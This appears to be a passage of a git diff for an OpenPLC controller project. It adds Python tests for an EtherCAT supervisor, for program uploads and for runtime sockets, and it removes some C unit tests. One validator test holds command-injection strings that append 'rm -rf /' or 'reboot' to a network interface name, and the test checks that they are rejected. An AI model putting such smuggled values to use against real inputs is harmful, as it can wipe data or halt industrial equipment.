-:core/src/drivers/plugins/native/ethercat/libs/soem/osal/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/rtk/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/rtk/** :support: - tests/support/** # Include support files (stubs, mocks, helpers) :include: - core/src/** - -:core/src/drivers/plugins/native/s7comm/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/contrib/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/rtk/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/rtk/** - tests/support # For custom helpers or mocks if needed :defines: diff --git a/start_openplc.sh b/start_openplc.sh index e5b715d5..60307e35 100755 --- a/start_openplc.sh +++ b/start_openplc.sh @@ -209,5 +209,6 @@ setup_plugin_venvs() { setup_plugin_venvs setup_runtime_venv -# Start the PLC webserver (forward all arguments) -"$OPENPLC_DIR/venvs/runtime/bin/python3" -m "webserver.app" "$@" +# Start the PLC webserver (forward all arguments). exec, so SIGTERM (docker stop, systemd) +# reaches it and it can stop EtherDOG and plc_main cleanly. +exec "$OPENPLC_DIR/venvs/runtime/bin/python3" -m "webserver.app" "$@" diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py new file mode 100644 index 00000000..49ed30fe --- /dev/null +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -0,0 +1,405 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""EtherDOG supervision helpers: legacy upload detection, command transport, route shaping.""" + +import json +import os +import shutil +import socket +import subprocess +import tempfile +import threading +import time +from pathlib import Path + +import pytest + +from webserver import etherdog_manager +from webserver.discovery.discovery_routes import _with_plugin_state +from webserver.etherdog_manager import ( + EtherDogManager, + EtherDogUnavailable, + legacy_ethercat_config_in_use, +) +from webserver.plugin_config_model import PluginsConfiguration + + +def test_legacy_config_detected_only_with_masters(tmp_path: Path) -> None: + assert not legacy_ethercat_config_in_use(tmp_path) + + legacy = tmp_path / "ethercat.json" + legacy.write_text("") + assert not legacy_ethercat_config_in_use(tmp_path) + + legacy.write_text("[]") + assert not legacy_ethercat_config_in_use(tmp_path) + + legacy.write_text(json.dumps([{"name": "m", "protocol": "ETHERCAT", "config": {}}])) + assert legacy_ethercat_config_in_use(tmp_path) + + +def test_plugin_state_added_next_to_state() -> None: + result = _with_plugin_state({"masters": [{"name": "m", "state": "OPERATIONAL"}]}) + assert result["masters"][0]["plugin_state"] == "OPERATIONAL" + assert _with_plugin_state({"error": "x"}) == {"error": "x"} + + +def test_ethercat_plugin_reads_iomapping_file(tmp_path: Path) -> None: + conf_dir = tmp_path / "conf" + conf_dir.mkdir() + (conf_dir / "ethercat_iomapping.json").write_text('{"version": 1, "masters": []}') + (conf_dir / "ethercat_busconfig.json").write_text("[]") + plugins = tmp_path / "plugins.conf" + plugins.write_text("ethercat,./build/plugins/libethercat_plugin.so,0,1,,\n") + + config = PluginsConfiguration.from_file(str(plugins)) + config.update_plugins_from_config_dir(str(conf_dir)) + ethercat = next(p for p in config.plugins if p.name == "ethercat") + assert ethercat.enabled + assert ethercat.config_path.endswith("ethercat_iomapping.json") + + +class FakeEtherDog: + """Unix-socket server that records each command and echoes it back.""" + + def __init__(self, path: str) -> None: + self.path = path + self.received: list[str] = [] + self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + self.sock.bind(path) + self.sock.listen(4) + self.thread = threading.Thread(target=self._serve, daemon=True) + self.thread.start() + + def _serve(self) -> None: + while True: + try: + conn, _ = self.sock.accept() + except OSError: + return + with conn, conn.makefile("rw", encoding="utf-8") as f: + for line in f: + command = json.loads(line)["command"] + self.received.append(command) + f.write(json.dumps({"status": "success", "echo": command}) + "\n") + f.flush() + + def close(self) -> None: + self.sock.close() + + +@pytest.fixture +def run_dir(): + with tempfile.TemporaryDirectory(prefix="edog", dir="/tmp") as d: + yield Path(d) + + +def _manager(run_dir: Path) -> EtherDogManager: + binary = run_dir / "etherdog-bin" + binary.write_text("") + return EtherDogManager(binary=str(binary), run_dir=run_dir, busconfig=run_dir / "bus.json") + + +def test_command_says_hello_and_returns_reply(run_dir: Path) -> None: + server = FakeEtherDog(str(run_dir / "etherdog.socket")) + try: + reply = _manager(run_dir).command({"command": "status"}) + assert reply == {"status": "success", "echo": "status"} + assert server.received == ["hello", "status"] + finally: + server.close() + + +def test_session_file_names_endpoint_transport_and_busconfig(run_dir: Path) -> None: + manager = _manager(run_dir) + manager._write_session() + session = json.loads(manager.paths.session_file.read_text()) + assert session["control"] == f"unix:{run_dir / 'etherdog.socket'}" + assert session["data"] in ("unix", "udp") + assert session["busconfig"] == str((run_dir / "bus.json").resolve()) + assert "token" not in session + assert os.stat(manager.paths.session_file).st_mode & 0o077 == 0 + + +def test_session_file_is_not_written_through_a_symlink(run_dir: Path) -> None: + manager = _manager(run_dir) + target = run_dir / "elsewhere" + target.write_text("keep") + manager.paths.session_file.symlink_to(target) + with pytest.raises(OSError): + manager._write_session() + assert target.read_text() == "keep" + + +def test_upload_stops_the_bus_and_only_stages_the_config(run_dir: Path) -> None: + server = FakeEtherDog(str(run_dir / "etherdog.socket")) + manager = _manager(run_dir) + manager._running = True + manager._process = subprocess.Popen(["sleep", "30"]) + source = run_dir / "upload.json" + source.write_text("[]") + try: + manager.apply_busconfig(source) + assert (run_dir / "bus.json").read_text() == "[]" + assert server.received == ["hello", "stop"] # the plugin configures and starts it + + manager.apply_busconfig(None) + assert not (run_dir / "bus.json").exists() + finally: + manager._process.kill() + manager._process.wait() + server.close() + + +def test_leftover_etherdog_is_killed(run_dir: Path) -> None: + binary = run_dir / "etherdog-bin" + shutil.copy(shutil.which("sleep"), binary) + leftover = subprocess.Popen([str(binary), "30"]) + try: + manager = EtherDogManager(binary=str(binary), run_dir=run_dir) + assert etherdog_manager._processes_running(str(binary)) == [leftover.pid] + manager._kill_leftovers() + assert leftover.wait(timeout=5) != 0 + finally: + if leftover.poll() is None: + leftover.kill() + + +def test_startup_errors_on_stderr_are_logged_as_errors(run_dir: Path, monkeypatch, caplog) -> None: + monkeypatch.setattr(etherdog_manager, "READY_TIMEOUT_S", 0.3) + manager = _fake_binary( + run_dir, "echo '[2026-01-01 00:00:00] [ERROR] [BUS] bad config'; sleep 30" + ) + try: + with caplog.at_level("ERROR"): + manager._spawn() + assert _wait_for(lambda: any("bad config" in r.message for r in caplog.records)) + record = next(r for r in caplog.records if "bad config" in r.message) + assert record.levelname == "ERROR" + assert record.message == "[BUS] bad config" + finally: + manager._process.kill() + manager._process.wait() + + +def test_stop_reaps_a_process_it_had_to_kill(run_dir: Path, monkeypatch) -> None: + manager = _fake_binary(run_dir, "trap '' TERM INT; sleep 30") + manager._process = subprocess.Popen([manager.paths.binary]) + manager._running = True + monkeypatch.setattr(manager, "command", lambda *a, **k: {}) + real_wait = manager._process.wait + + def short_wait(timeout=None): + return real_wait(timeout=0.2 if timeout == 10 else timeout) + + monkeypatch.setattr(manager._process, "wait", short_wait) + manager.stop() + assert manager._process.returncode is not None + + +def _fake_binary(run_dir: Path, body: str) -> EtherDogManager: + """An executable that counts its launches in /launches, then runs @body.""" + binary = run_dir / "etherdog-bin" + binary.write_text(f'#!/bin/sh\necho x >> "{run_dir}/launches"\n{body}\n') + binary.chmod(0o755) + return EtherDogManager(binary=str(binary), run_dir=run_dir) + + +def _launches(run_dir: Path) -> int: + path = run_dir / "launches" + return len(path.read_text().splitlines()) if path.exists() else 0 + + +def _wait_for(predicate, timeout: float = 5.0) -> bool: + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + if predicate(): + return True + time.sleep(0.05) + return False + + +def _session(manager: EtherDogManager) -> dict: + return json.loads(manager.paths.session_file.read_text()) + + +def test_missing_binary_disables_without_raising(run_dir: Path) -> None: + manager = EtherDogManager(binary=str(run_dir / "absent"), run_dir=run_dir) + manager.start() + assert "not installed" in manager.disabled_reason + assert "not installed" in _session(manager)["disabled"] + assert "not installed" in manager.plugin_style_command({"command": "status"}, 1.0)["error"] + + +def test_missing_npcap_disables_after_one_exit(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "IS_WINDOWS", True) + manager = _fake_binary( + run_dir, + "echo 'etherdog.exe: error while loading shared libraries: wpcap.dll: " + "cannot open shared object file' >&2; exit 127", + ) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + assert manager.disabled_reason == etherdog_manager.NPCAP_REASON + assert _session(manager)["disabled"] == etherdog_manager.NPCAP_REASON + time.sleep(0.5) + assert _launches(run_dir) == 1 + + +def test_missing_library_on_linux_is_fatal(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "IS_WINDOWS", False) + manager = _fake_binary( + run_dir, "echo 'libfoo.so: cannot open shared object file' >&2; exit 127" + ) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + assert "libfoo.so" in manager.disabled_reason + assert _launches(run_dir) == 1 + + +def test_rapid_exits_disable_after_limit(run_dir: Path) -> None: + manager = _fake_binary(run_dir, "exit 1") + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + assert f"{etherdog_manager.MAX_RAPID_EXITS} times" in manager.disabled_reason + assert _launches(run_dir) == etherdog_manager.MAX_RAPID_EXITS + + +def test_restart_is_immediate(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "READY_TIMEOUT_S", 0.2) + # First launch exits, the second stays up + manager = _fake_binary( + run_dir, f'[ "$(wc -l < "{run_dir}/launches")" -gt 1 ] && exec sleep 30\nexit 1' + ) + started = time.monotonic() + manager.start() + try: + assert _wait_for(lambda: _launches(run_dir) == 2, timeout=3.0) + assert time.monotonic() - started < 2.0 + assert manager.disabled_reason is None + finally: + manager._running = False + if manager._process is not None: + manager._process.kill() + + +def test_new_program_retries_disabled_etherdog(run_dir: Path) -> None: + manager = _fake_binary(run_dir, "exit 1") + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + manager.apply_busconfig(None) + assert _wait_for(lambda: _launches(run_dir) > etherdog_manager.MAX_RAPID_EXITS) + assert _wait_for(lambda: manager.disabled_reason is not None) + + +def test_clean_exit_is_not_restarted(run_dir: Path) -> None: + manager = _fake_binary(run_dir, "exit 0") + manager.start() + assert _wait_for(lambda: not manager._running) + time.sleep(0.5) + assert _launches(run_dir) == 1 + assert manager.disabled_reason is None + + +def test_interface_names_accept_linux_and_npcap_devices() -> None: + from webserver.discovery.ethercat_discovery import _validate_interface_name + + assert _validate_interface_name("eth0")[0] + assert _validate_interface_name(r"\Device\NPF_{4815A5BB-BD8C-401C-8C2F-A81AFDD6EC0D}")[0] + assert _validate_interface_name(r"\Device\NPF_Loopback")[0] + assert not _validate_interface_name(r"\Device\NPF_{x}; rm -rf /")[0] + assert not _validate_interface_name("a" * 16)[0] + assert not _validate_interface_name("eth0;reboot")[0] + + +# --- errors returned to API clients carry no internal detail ------------------------------- + + +def test_missing_binary_error_hides_the_path(run_dir: Path) -> None: + manager = EtherDogManager(binary=str(run_dir / "secret" / "etherdog"), run_dir=run_dir) + manager.start() + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert ( + error == etherdog_manager.PUBLIC_MESSAGES[etherdog_manager.EtherDogErrorKind.NOT_INSTALLED] + ) + assert "secret" not in error + assert "secret" in manager.disabled_reason # the detail stays for the log + + +def test_unstartable_binary_error_hides_the_os_error(run_dir: Path) -> None: + binary = run_dir / "etherdog-bin" + binary.write_text("") # present but not executable + manager = EtherDogManager(binary=str(binary), run_dir=run_dir) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert error == "EtherDOG cannot be started" + assert "Errno" not in error and str(run_dir) not in error + + +def test_unreachable_error_hides_the_socket_error(run_dir: Path) -> None: + manager = _manager(run_dir) # installed, nothing listening + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert error == "EtherDOG is not reachable" + + +def test_unknown_failure_gets_the_default_message() -> None: + assert ( + EtherDogUnavailable("anything internal").public_message + == etherdog_manager.DEFAULT_PUBLIC_MESSAGE + ) + + +def test_npcap_reason_is_shown_as_is(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "IS_WINDOWS", True) + manager = _fake_binary( + run_dir, "echo 'wpcap.dll: cannot open shared object file' >&2; exit 127" + ) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert error == etherdog_manager.NPCAP_REASON + + +# --- supervisor lifecycle ------------------------------------------------------------------- + + +def test_second_start_does_not_start_a_second_supervisor(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "READY_TIMEOUT_S", 0.2) + manager = _fake_binary(run_dir, "exec sleep 30") + manager.start() + try: + assert _wait_for(lambda: _launches(run_dir) == 1) + first = manager._monitor + manager.start() + assert manager._monitor is first + time.sleep(0.5) + assert _launches(run_dir) == 1 + finally: + manager._running = False + if manager._process is not None: + manager._process.kill() + + +def test_stop_during_leftover_cleanup_spawns_nothing(run_dir: Path, monkeypatch) -> None: + cleanup_started = threading.Event() + release_cleanup = threading.Event() + + def slow_cleanup(self: EtherDogManager) -> None: + cleanup_started.set() + release_cleanup.wait(5) + + monkeypatch.setattr(EtherDogManager, "_kill_leftovers", slow_cleanup) + manager = _fake_binary(run_dir, "exec sleep 30") + manager.start() + assert cleanup_started.wait(5) + stopper = threading.Thread(target=manager.stop) + stopper.start() + time.sleep(0.2) + release_cleanup.set() + stopper.join(10) + assert not stopper.is_alive() + time.sleep(0.5) + assert _launches(run_dir) == 0 + assert manager._process is None diff --git a/tests/pytest/restapi/test_ethercat_upload.py b/tests/pytest/restapi/test_ethercat_upload.py new file mode 100644 index 00000000..31232bff --- /dev/null +++ b/tests/pytest/restapi/test_ethercat_upload.py @@ -0,0 +1,158 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""Uploads carrying the pre-split EtherCAT configuration are refused before anything changes.""" + +import io +import json +import zipfile + +import pytest + + +def _program_zip(files: dict[str, str]) -> bytes: + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + for name, text in files.items(): + zf.writestr(name, text) + return buf.getvalue() + + +def _upload(blob: bytes) -> dict: + from webserver import app as app_module + + data = {"file": (io.BytesIO(blob), "program.zip")} + with app_module.app.test_request_context( + "/api/upload-file", method="POST", data=data, content_type="multipart/form-data" + ): + return app_module.handle_upload_file({}) + + +@pytest.fixture +def busconfig_calls(monkeypatch): + from webserver import app as app_module + + calls: list = [] + monkeypatch.setattr(app_module.etherdog_manager, "apply_busconfig", calls.append) + return calls + + +def test_legacy_ethercat_upload_is_refused_with_versions(busconfig_calls) -> None: + legacy = json.dumps([{"name": "m0", "protocol": "ETHERCAT", "config": {}}]) + result = _upload( + _program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": legacy}) + ) + + message = result["UploadFileFail"] + assert "conf/ethercat.json" in message + assert "4.3.0" in message and "OpenPLC Editor 4.3.2" in message + assert result["CompilationStatus"] == "FAILED" + assert busconfig_calls == [] + + +def test_empty_legacy_file_is_not_refused(busconfig_calls, monkeypatch, quiet_upload) -> None: + """Editors before the split always wrote an empty ethercat.json; that alone is fine.""" + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=True) + runtime.state = "STOPPED" + monkeypatch.setattr(app_module, "runtime_manager", runtime) + result = _upload( + _program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": ""}) + ) + + assert "conf/ethercat.json" not in str(result.get("UploadFileFail", "")) + + +class _FakeRuntime: + """Answers STATUS from a script; records the commands it receives.""" + + def __init__(self, stops_on_request: bool) -> None: + self.state = "RUNNING" + self.stops_on_request = stops_on_request + self.calls: list[str] = [] + + def status_plc(self) -> str: + return f"STATUS:{self.state}\n" + + def stop_plc(self) -> str: + self.calls.append("stop") + if self.stops_on_request: + self.state = "STOPPED" + return "OK\n" + + +@pytest.fixture +def quiet_upload(monkeypatch): + """Everything past the stop check that touches the device is a no-op.""" + from webserver import app as app_module + + for name in ( + "safe_extract", + "apply_vpp_plugin_conf", + "apply_retain_conf", + "update_plugin_configurations", + "run_compile", + ): + monkeypatch.setattr(app_module, name, lambda *a, **k: None) + monkeypatch.setattr(app_module, "PLC_STOP_TIMEOUT_S", 0.3) + monkeypatch.setattr(app_module.build_state, "status", app_module.BuildStatus.SUCCESS) + + +def test_upload_stops_a_running_plc_before_staging(monkeypatch, quiet_upload) -> None: + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=True) + monkeypatch.setattr(app_module, "runtime_manager", runtime) + monkeypatch.setattr( + app_module.etherdog_manager, + "apply_busconfig", + lambda _path: runtime.calls.append("busconfig"), + ) + + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + + assert result["UploadFileFail"] == "" + assert runtime.calls == ["stop", "busconfig"] + + +def test_upload_is_cancelled_when_the_plc_does_not_stop( + monkeypatch, quiet_upload, busconfig_calls +) -> None: + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=False) + monkeypatch.setattr(app_module, "runtime_manager", runtime) + + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + + assert "could not be stopped" in result["UploadFileFail"] + assert result["CompilationStatus"] == "FAILED" + assert busconfig_calls == [] + + +def test_upload_with_the_plc_stopped_sends_no_stop( + monkeypatch, quiet_upload, busconfig_calls +) -> None: + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=True) + runtime.state = "STOPPED" + monkeypatch.setattr(app_module, "runtime_manager", runtime) + + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + + assert result["UploadFileFail"] == "" + assert runtime.calls == [] + + +def test_a_second_upload_is_refused_while_one_is_in_progress(busconfig_calls) -> None: + from webserver import app as app_module + + assert app_module._upload_lock.acquire(blocking=False) + try: + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + finally: + app_module._upload_lock.release() + assert result["UploadFileFail"] == "Another upload is in progress, please wait" + assert busconfig_calls == [] diff --git a/tests/pytest/runtime/test_runtime_socket_wait.py b/tests/pytest/runtime/test_runtime_socket_wait.py new file mode 100644 index 00000000..482b9eb5 --- /dev/null +++ b/tests/pytest/runtime/test_runtime_socket_wait.py @@ -0,0 +1,84 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""The webserver waits for a freshly started runtime to open its command socket.""" + +import socket +import tempfile +import threading +import time +from pathlib import Path + +import pytest + +from webserver import runtimemanager +from webserver.runtimemanager import RuntimeManager + + +@pytest.fixture +def run_dir(): + with tempfile.TemporaryDirectory(prefix="rtm", dir="/tmp") as d: + yield Path(d) + + +def _manager(run_dir: Path) -> RuntimeManager: + return RuntimeManager( + runtime_path="/bin/true", + plc_socket=str(run_dir / "plc.sock"), + log_socket=str(run_dir / "log.sock"), + ) + + +def _listen_later(path: str, delay: float) -> threading.Thread: + def serve() -> None: + time.sleep(delay) + srv = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + srv.bind(path) + srv.listen(1) + conn, _ = srv.accept() + time.sleep(0.5) + conn.close() + srv.close() + + t = threading.Thread(target=serve, daemon=True) + t.start() + return t + + +def _errors_about(caplog, run_dir: Path) -> list[str]: + """ERROR records about this test's socket; the app's own runtime manager logs too.""" + return [ + r.getMessage() + for r in caplog.records + if r.levelname == "ERROR" and str(run_dir) in r.getMessage() + ] + + +def test_connects_once_the_socket_appears_without_errors(run_dir: Path, monkeypatch, caplog) -> None: + manager = _manager(run_dir) + monkeypatch.setattr(manager, "is_runtime_alive", lambda: True) + _listen_later(manager.plc_socket, 0.6) + with caplog.at_level("ERROR"): + manager._connect_runtime_socket_when_ready() + assert manager.runtime_socket.is_connected() + assert not _errors_about(caplog, run_dir) + manager.runtime_socket.close() + + +def test_reports_once_when_the_runtime_never_listens(run_dir: Path, monkeypatch, caplog) -> None: + manager = _manager(run_dir) + monkeypatch.setattr(manager, "is_runtime_alive", lambda: True) + monkeypatch.setattr(runtimemanager, "RUNTIME_SOCKET_WAIT_S", 0.5) + with caplog.at_level("ERROR"): + manager._connect_runtime_socket_when_ready() + assert not manager.runtime_socket.is_connected() + failures = _errors_about(caplog, run_dir) + assert len(failures) == 1 and "Failed to connect to runtime socket" in failures[0] + + +def test_stops_waiting_when_the_runtime_exits(run_dir: Path, monkeypatch) -> None: + manager = _manager(run_dir) + monkeypatch.setattr(manager, "is_runtime_alive", lambda: False) + started = time.monotonic() + manager._connect_runtime_socket_when_ready() + assert time.monotonic() - started < 1.0 diff --git a/tests/support/ethercat_stubs.c b/tests/support/ethercat_stubs.c deleted file mode 100644 index 06327e7c..00000000 --- a/tests/support/ethercat_stubs.c +++ /dev/null @@ -1,74 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_stubs.c - * @brief Link-time stubs for symbols referenced by ethercat_io.c / - * ethercat_master.c that are not exercised in unit tests. - * - * These let test binaries link without dragging in the entire EtherCAT - * master (which depends on SOEM + a live network interface). Tests that - * actually want to verify behavior of plugin_logger or ecat_master can - * provide their own non-weak definitions to override these. - */ - -#include "ethercat_config.h" -#include "ethercat_master.h" -#include "plugin_logger.h" - -#include -#include - -/* ---- plugin_logger: variadic, no-op ---- */ - -__attribute__((weak)) void plugin_logger_info(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -__attribute__((weak)) void plugin_logger_warn(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -__attribute__((weak)) void plugin_logger_error(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -__attribute__((weak)) void plugin_logger_debug(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -/* ---- ecat_master accessors: return safe defaults ---- */ - -__attribute__((weak)) uint8_t *ecat_master_get_iomap(ecat_master_instance_t *inst) -{ - (void)inst; - return NULL; -} - -__attribute__((weak)) const ec_slavet *ecat_master_get_slave(ecat_master_instance_t *inst, - int position) -{ - (void)inst; - (void)position; - return NULL; -} - -__attribute__((weak)) size_t ecat_master_get_iomap_size(ecat_master_instance_t *inst) -{ - (void)inst; - return 0; -} - -__attribute__((weak)) int ecat_master_get_slave_count(ecat_master_instance_t *inst) -{ - (void)inst; - return 0; -} diff --git a/tests/test_ethercat_config_helpers.c b/tests/test_ethercat_config_helpers.c deleted file mode 100644 index 32f8f5d5..00000000 --- a/tests/test_ethercat_config_helpers.c +++ /dev/null @@ -1,148 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_config_helpers.c - * @brief Unit tests for the small public helpers in ethercat_config.c: - * ecat_config_init_defaults, ecat_data_type_size, ecat_state_to_string. - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* ===================================================================== - * ecat_config_init_defaults - * ===================================================================== */ - -void test_init_defaults_NullConfig_ShouldNotCrash(void) -{ - ecat_config_init_defaults(NULL); /* contract: silent no-op */ -} - -void test_init_defaults_MasterFields_ShouldHaveExpectedDefaults(void) -{ - static ecat_config_t config; - /* Pre-fill with non-zero garbage to confirm the init clears the struct. */ - memset(&config, 0xAA, sizeof(config)); - - ecat_config_init_defaults(&config); - - TEST_ASSERT_EQUAL_STRING("eth0", config.master.interface); - TEST_ASSERT_EQUAL_INT(1000, config.master.cycle_time_us); - TEST_ASSERT_EQUAL_INT(2000, config.master.receive_timeout_us); - TEST_ASSERT_EQUAL_INT(3, config.master.watchdog_timeout_cycles); - TEST_ASSERT_EQUAL_STRING("info", config.master.log_level); - TEST_ASSERT_EQUAL_INT(90, config.master.task_priority); - TEST_ASSERT_TRUE(config.master.safe_close); -} - -void test_init_defaults_DiagnosticsFields_ShouldHaveExpectedDefaults(void) -{ - static ecat_config_t config; - ecat_config_init_defaults(&config); - - TEST_ASSERT_TRUE(config.diagnostics.log_connections); - TEST_ASSERT_FALSE(config.diagnostics.log_data_access); - TEST_ASSERT_TRUE(config.diagnostics.log_errors); - TEST_ASSERT_EQUAL_INT(10000, config.diagnostics.max_log_entries); - TEST_ASSERT_EQUAL_INT(500, config.diagnostics.status_update_interval_ms); -} - -void test_init_defaults_SlaveCount_ShouldBeZero(void) -{ - static ecat_config_t config; - ecat_config_init_defaults(&config); - TEST_ASSERT_EQUAL_INT(0, config.slave_count); -} - -/* ===================================================================== - * ecat_data_type_size - * ===================================================================== */ - -void test_data_type_size_Bool_ShouldBeOne(void) -{ - TEST_ASSERT_EQUAL_INT(1, ecat_data_type_size(ECAT_DTYPE_BOOL)); -} - -void test_data_type_size_8bit_ShouldBeOne(void) -{ - TEST_ASSERT_EQUAL_INT(1, ecat_data_type_size(ECAT_DTYPE_INT8)); - TEST_ASSERT_EQUAL_INT(1, ecat_data_type_size(ECAT_DTYPE_UINT8)); -} - -void test_data_type_size_16bit_ShouldBeTwo(void) -{ - TEST_ASSERT_EQUAL_INT(2, ecat_data_type_size(ECAT_DTYPE_INT16)); - TEST_ASSERT_EQUAL_INT(2, ecat_data_type_size(ECAT_DTYPE_UINT16)); -} - -void test_data_type_size_32bit_ShouldBeFour(void) -{ - TEST_ASSERT_EQUAL_INT(4, ecat_data_type_size(ECAT_DTYPE_INT32)); - TEST_ASSERT_EQUAL_INT(4, ecat_data_type_size(ECAT_DTYPE_UINT32)); - TEST_ASSERT_EQUAL_INT(4, ecat_data_type_size(ECAT_DTYPE_REAL32)); -} - -void test_data_type_size_64bit_ShouldBeEight(void) -{ - TEST_ASSERT_EQUAL_INT(8, ecat_data_type_size(ECAT_DTYPE_INT64)); - TEST_ASSERT_EQUAL_INT(8, ecat_data_type_size(ECAT_DTYPE_UINT64)); - TEST_ASSERT_EQUAL_INT(8, ecat_data_type_size(ECAT_DTYPE_REAL64)); -} - -void test_data_type_size_UnknownAndPad_ShouldBeZero(void) -{ - TEST_ASSERT_EQUAL_INT(0, ecat_data_type_size(ECAT_DTYPE_UNKNOWN)); - TEST_ASSERT_EQUAL_INT(0, ecat_data_type_size(ECAT_DTYPE_PAD)); -} - -/* ===================================================================== - * ecat_state_to_string - * ===================================================================== */ - -void test_state_to_string_Idle_ShouldReturnIdle(void) -{ - TEST_ASSERT_EQUAL_STRING("IDLE", ecat_state_to_string(ECAT_STATE_IDLE)); -} - -void test_state_to_string_Scanning_ShouldReturnScanning(void) -{ - TEST_ASSERT_EQUAL_STRING("SCANNING", ecat_state_to_string(ECAT_STATE_SCANNING)); -} - -void test_state_to_string_Configuring_ShouldReturnConfiguring(void) -{ - TEST_ASSERT_EQUAL_STRING("CONFIGURING", ecat_state_to_string(ECAT_STATE_CONFIGURING)); -} - -void test_state_to_string_Transitioning_ShouldReturnTransitioning(void) -{ - TEST_ASSERT_EQUAL_STRING("TRANSITIONING", ecat_state_to_string(ECAT_STATE_TRANSITIONING)); -} - -void test_state_to_string_Operational_ShouldReturnOperational(void) -{ - TEST_ASSERT_EQUAL_STRING("OPERATIONAL", ecat_state_to_string(ECAT_STATE_OPERATIONAL)); -} - -void test_state_to_string_Recovering_ShouldReturnRecovering(void) -{ - TEST_ASSERT_EQUAL_STRING("RECOVERING", ecat_state_to_string(ECAT_STATE_RECOVERING)); -} - -void test_state_to_string_Error_ShouldReturnError(void) -{ - TEST_ASSERT_EQUAL_STRING("ERROR", ecat_state_to_string(ECAT_STATE_ERROR)); -} - -void test_state_to_string_Stopped_ShouldReturnStopped(void) -{ - TEST_ASSERT_EQUAL_STRING("STOPPED", ecat_state_to_string(ECAT_STATE_STOPPED)); -} diff --git a/tests/test_ethercat_config_parser.c b/tests/test_ethercat_config_parser.c deleted file mode 100644 index ebedc369..00000000 --- a/tests/test_ethercat_config_parser.c +++ /dev/null @@ -1,347 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_config_parser.c - * @brief Unit tests for ecat_config_parse_all() — JSON config ingestion. - * - * Builds temporary JSON files on disk and exercises the parser end-to-end - * to cover: argument validation, malformed JSON, missing/invalid fields, - * single-master, multi-master, mixed-protocol skip, and the bare-object - * fall-back path. - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -static const char *TMPFILE = "test_ethercat_parser_tmp.json"; - -/* Static buffers because ecat_master_instance_t is multi-MB. */ -static ecat_master_instance_t g_instances[ECAT_MAX_MASTERS]; - -void setUp(void) -{ - memset(g_instances, 0, sizeof(g_instances)); -} - -void tearDown(void) -{ - remove(TMPFILE); -} - -static void write_tmpfile(const char *json) -{ - FILE *fp = fopen(TMPFILE, "w"); - TEST_ASSERT_NOT_NULL(fp); - fputs(json, fp); - fclose(fp); -} - -/* ===================================================================== - * Argument validation - * ===================================================================== */ - -void test_parse_all_NullPath_ShouldReject(void) -{ - int count = 0; - int rc = ecat_config_parse_all(NULL, g_instances, ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -void test_parse_all_NullInstances_ShouldReject(void) -{ - int count = 0; - int rc = ecat_config_parse_all("anything.json", NULL, ECAT_MAX_MASTERS, &count); - 